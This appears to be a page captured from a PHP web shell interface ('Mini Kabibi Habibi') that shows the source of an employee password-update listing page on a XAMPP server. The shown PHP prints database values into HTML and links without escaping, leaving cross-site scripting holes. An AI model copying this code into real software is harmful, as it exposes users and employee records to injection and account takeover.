Mini Kabibi Habibi

Current Path : C:/xampp/htdocs/esuporta/fts/
Upload File :
Current File : C:/xampp/htdocs/esuporta/fts/update_password.php

<?php 

@include 'database.php';




include('header.php');
include('script.php');
include('conn.php');

?>

 <section class="content">


  

        <div class="container-fluid">
            <!-- Exportable Table -->
            <div class="row clearfix">
                <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
                    <div class="card">
                        <div class = "panel panel-primary">
                            <div class = "panel-heading">
                      
                               <h4>Service Record</h4>       
                         
                            </div>
                        </div>
                        <div id="print">
                            <div class = "scroll">
                            <div class="body">
                                <table id = "example" class = "table table-bordered" cellspacing = "0" >
                                <thead>
                                    <tr>
                                       <th class="hidden" style="white-space: nowrap;">ID</th> 
                                            <th  style="white-space: nowrap;">Employee Number</th> 
                                            <th  style="white-space: nowrap;">Name</th> 
                                            <th style="white-space: nowrap;">Action</th>
                                           
                                    </tr>
                                </thead>
                                <tbody>
                                
                                  <?php
                                    include('database.php');
                                     
                                  
                                   $sql = "SELECT * from employee";
                                  $data = mysqli_query($conn,$sql);
                                  while ($rows= mysqli_fetch_array($data)) 
                                    {
                                      ?>
                                  <tr>
                                     <td class="hidden"> <?php echo $rows['id']; ?></td>
                                                 <td> <?php echo $rows['username']; ?></td>
                                              <td> <?php echo $rows['SURNAME'] .", ".$rows['FNAME'].", ".$rows['MNAME'];?></td>
                                                  <td >     
                                    <a class="btn btn-success btn-sm" href="password.php?username=<?php echo $rows['username']?>">
                                      <span class = "glyphicon glyphicon-folder-open" aria-hidden = "true">UPDATE</span>
                                    </a>                                 
                                  </td>
                                </tr>                           
                                     <?php  } ?>
                                </tbody>
                            </table>
                        </div>
                      </div>
                    </div>
                </div>
             </div>
         </div>
    </div>
</section>

   <script>
    function printDiv() {
        //Get the HTML of div
        var divElements = document.getElementById("print").innerHTML;
        //Get the HTML of whole page
        var oldPage = document.body.innerHTML;
        //Reset the page's HTML with div's HTML only
        document.body.innerHTML = "<table></table>" + divElements;
        //Print Page
        window.print();
        //Restore orignal HTML
        document.body.innerHTML = oldPage;

    }
    </script>
<script src="plugins/js/jquery-1.js"></script>
<script src="plugins/js/jquery.dataTables.min.js"></script>
    <script>
        $(document).ready(function() {
    $('#example').DataTable();
} );
    </script>
<?php 
include("script.php");
?>